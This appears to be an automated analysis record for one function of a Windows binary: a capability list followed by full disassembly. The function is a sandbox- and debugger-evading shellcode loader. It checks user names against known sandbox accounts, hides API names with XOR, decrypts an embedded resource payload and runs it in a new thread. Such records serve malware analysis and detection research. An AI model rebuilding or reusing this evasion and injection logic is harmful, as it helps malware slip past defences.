Function at 0x140004620
Capabilities:
Check for debugger via api
Encode data using xor
Extract resource via kernel32 functions
Get session user name
Link many functions at runtime

Disassembly:
push rbp
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
lea rdx, [rbp + 0x4c0]
mov dword [rbp + 0x4c0], 0x101
lea rcx, [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140004760
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.AZURE
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.BRUNO
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.ABBY
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, [0x14002e5f0]
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.OQXZRAKYM
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.RDHJ0CNFEVZX
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.JOHN
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.EMMACR
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.JUILSIM
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.ANNA
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
jne 0x140004755
lea rdx, str.DARREL
lea rcx, [rbp - 0x60]
call fcn.14000d89c
test rax, rax
je 0x140004760
xor eax, eax
add rsp, 0x5b0
pop rbp
ret
mov qword [rsp + 0x588], r14
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400050c2
xor r14d, r14d
mov dword [rbp + 0x4c0], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x4c0], r14d
jne 0x1400050c2
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x4d0
call fcn.14002c950
mov dword [rbp - 0x30], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000481b
cmp qword [rbp - 0x18], r14
jne 0x1400047ea
cmp qword [rbp - 0x10], r14
jne 0x1400047ea
cmp qword [rbp - 8], r14
jne 0x1400047ea
cmp qword [rbp], r14
je 0x14000481b
lea rdx, str.Advanced_debugger_check_detected__Exiting...
lea rcx, [0x140040740]
call fcn.1400051d0
mov rcx, rax
call fcn.1400061d0
mov r14, qword [rsp + 0x588]
mov eax, 1
add rsp, 0x5b0
pop rbp
ret
call fcn.140001330
test al, al
jne 0x1400050dd
movups xmm0, xmmword [str.veryASDJK123FN123FN_41PABasd123QX1235HXC57FASD___]
mov eax, dword [0x14002e510]
mov edx, 0x64
movups xmm1, xmmword [0x14002e4f0]
mov qword [rsp + 0x5d0], rbx
xor ecx, ecx
mov qword [rsp + 0x5a8], rsi
mov r8d, 0xa
mov qword [rsp + 0x5a0], rdi
mov qword [rsp + 0x598], r12
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x590], r13
movups xmm0, xmmword [0x14002e500]
mov qword [rsp + 0x580], r15
movaps xmmword [rsp + 0x570], xmm6
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp + 0x4c8], r14d
movups xmmword [rsp + 0x78], xmm1
mov dword [rbp - 0x68], eax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [str.S_._C]
mov r8d, r14d
movsd xmm0, qword [str.aQKNN_Q]
mov edi, dword [0x14003f030]
movdqa xmm6, xmmword [0x14002ee60]
mov dword [rsp + 0x53], ecx
movzx ecx, byte [0x14002ed14]
mov byte [rsp + 0x57], cl
mov r13d, eax
movsd qword [rsp + 0x4b], xmm0
cmp edi, 2
jl 0x1400049e9
movdqa xmm2, xmmword [0x14002ee30]
mov r8d, 8
movdqa xmm3, xmmword [0x14002ee80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm2, xmm0
movd xmm0, dword [str.aQKNN_Q]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14002ee70]
xorps xmm2, xmm0
movd dword [rsp + 0x4b], xmm2
movdqa xmm2, xmmword [0x14002ee40]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm2, xmm0
movd xmm0, dword [rsp + 0x4f]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14002ee70]
xorps xmm2, xmm0
movd dword [rsp + 0x4f], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x4b]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140004a00
lea rcx, [0x14002e518]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x4b]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14002ed20]
mov rsi, rax
movsd xmm0, qword [str.aQKNN_QnM_5_0E]
mov r8d, r14d
mov dword [rsp + 0x60], ecx
movzx ecx, word [0x14002ed24]
mov word [rsp + 0x64], cx
movzx ecx, byte [0x14002ed26]
mov byte [rsp + 0x66], cl
movsd qword [rsp + 0x58], xmm0
cmp edi, 2
jl 0x140004b6e
movdqa xmm3, xmmword [0x14002ee30]
mov r8d, 8
movdqa xmm2, xmmword [0x14002ee40]
movdqa xmm1, xmm3
movdqa xmm4, xmmword [0x14002ee80]
movdqa xmm0, xmm3
mov eax, dword [0x14002ee70]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmm6
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.aQKNN_QnM_5_0E]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x58], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x58]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140004b80
lea rcx, [0x14002e528]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x14002ed35], r14b
mov r15, rax
mov ecx, dword [0x14002ed30]
movsd xmm0, qword [str.eLUwTJXsZ_.0:D]
mov dword [rsp + 0x45], ecx
movzx ecx, word [0x14002ed34]
mov word [rsp + 0x49], cx
movsd qword [rsp + 0x3d], xmm0
je 0x140004d66
mov r8d, r14d
cmp edi, 2
jl 0x140004cf0
movdqa xmm3, xmmword [0x14002ee30]
mov r8d, 8
movdqa xmm2, xmmword [0x14002ee40]
movdqa xmm1, xmm3
movdqa xmm4, xmmword [0x14002ee80]
movdqa xmm0, xmm3
mov eax, dword [0x14002ee70]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmm6
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.eLUwTJXsZ_.0:D]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x3d], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x41]
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x41], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x3d]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140004d00
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x3d]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov eax, dword [0x14002ed40]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x14002ed44]
mov byte [rsp + 0x3c], al
jmp 0x140004d99
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x3d]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14002ed40]
mov rbx, rax
mov dword [rsp + 0x38], ecx
movzx ecx, byte [0x14002ed44]
mov byte [rsp + 0x3c], cl
movsd xmm0, qword [str.tJ_OYiVM__C]
mov r8d, r14d
movsd qword [rsp + 0x30], xmm0
cmp edi, 2
jl 0x140004e97
movdqa xmm3, xmmword [0x14002ee30]
mov r8d, 8
movdqa xmm2, xmmword [0x14002ee40]
movdqa xmm1, xmm3
movdqa xmm4, xmmword [0x14002ee80]
movdqa xmm0, xmm3
mov eax, dword [0x14002ee70]
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmm6
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.tJ_OYiVM__C]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmmword [0x14002ee50]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movaps xmm6, xmmword [rsp + 0x570]
lea r9, [rsp + 0x30]
movsxd rax, r8d
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140004eb0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rsi, rsi
je 0x1400050a0
test r15, r15
je 0x1400050a0
test rbx, rbx
je 0x1400050a0
test rax, rax
je 0x1400050a0
mov r9d, 4
mov r8d, 0x3000
mov rdx, r13
xor ecx, ecx
mov rdi, r13
call rsi
lea rdx, str.calc_payload_addr_:_0x
mov rsi, rax
lea rcx, [0x140040620]
call fcn.1400051d0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, r12
mov rcx, rax
call fcn.140006fa0
mov rcx, rax
call fcn.1400061d0
lea rdx, str.exec_mem_addr_____:_0x
lea rcx, [0x140040620]
call fcn.1400051d0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rsi
mov rcx, rax
call fcn.140006fa0
mov rcx, rax
call fcn.1400061d0
xor r13d, r13d
mov eax, r13d
test rdi, rdi
je 0x140004ff2
mov r8, r12
mov r9, rdi
nop dword [rax + rax]
cmp rax, 0x33
lea r8, [r8 + 1]
mov rcx, r13
cmovne rcx, rax
movzx eax, byte [rsp + rcx + 0x68]
xor byte [r8 - 1], al
lea rax, [rcx + 1]
sub r9, 1
jne 0x140004fd0
mov r8, rdi
mov rdx, r12
mov rcx, rsi
call rbx
lea r9, [rbp + 0x4c8]
mov r8d, 0x20
mov rdx, rdi
mov rcx, rsi
call r15
lea rdx, str._nHit_me__n
mov ebx, eax
lea rcx, [0x140040620]
call fcn.1400051d0
lea rcx, [0x140040580]
call fcn.140009670
test ebx, ebx
je 0x14000505d
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call r14
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rbx, qword [rsp + 0x5d0]
mov r13, qword [rsp + 0x590]
mov r12, qword [rsp + 0x598]
mov rdi, qword [rsp + 0x5a0]
mov rsi, qword [rsp + 0x5a8]
mov r15, qword [rsp + 0x580]
mov r14, qword [rsp + 0x588]
add rsp, 0x5b0
pop rbp
ret
lea rdx, str.Failed_to_resolve_function_addresses.
lea rcx, [0x140040740]
call fcn.1400051d0
mov rcx, rax
call fcn.1400061d0
mov eax, 1
jmp 0x14000505f
lea rdx, str.Basic_debugger_check_detected__Exiting...
lea rcx, [0x140040740]
call fcn.1400051d0
mov rcx, rax
call fcn.1400061d0
mov r14, qword [rsp + 0x588]
mov eax, 1
add rsp, 0x5b0
pop rbp
ret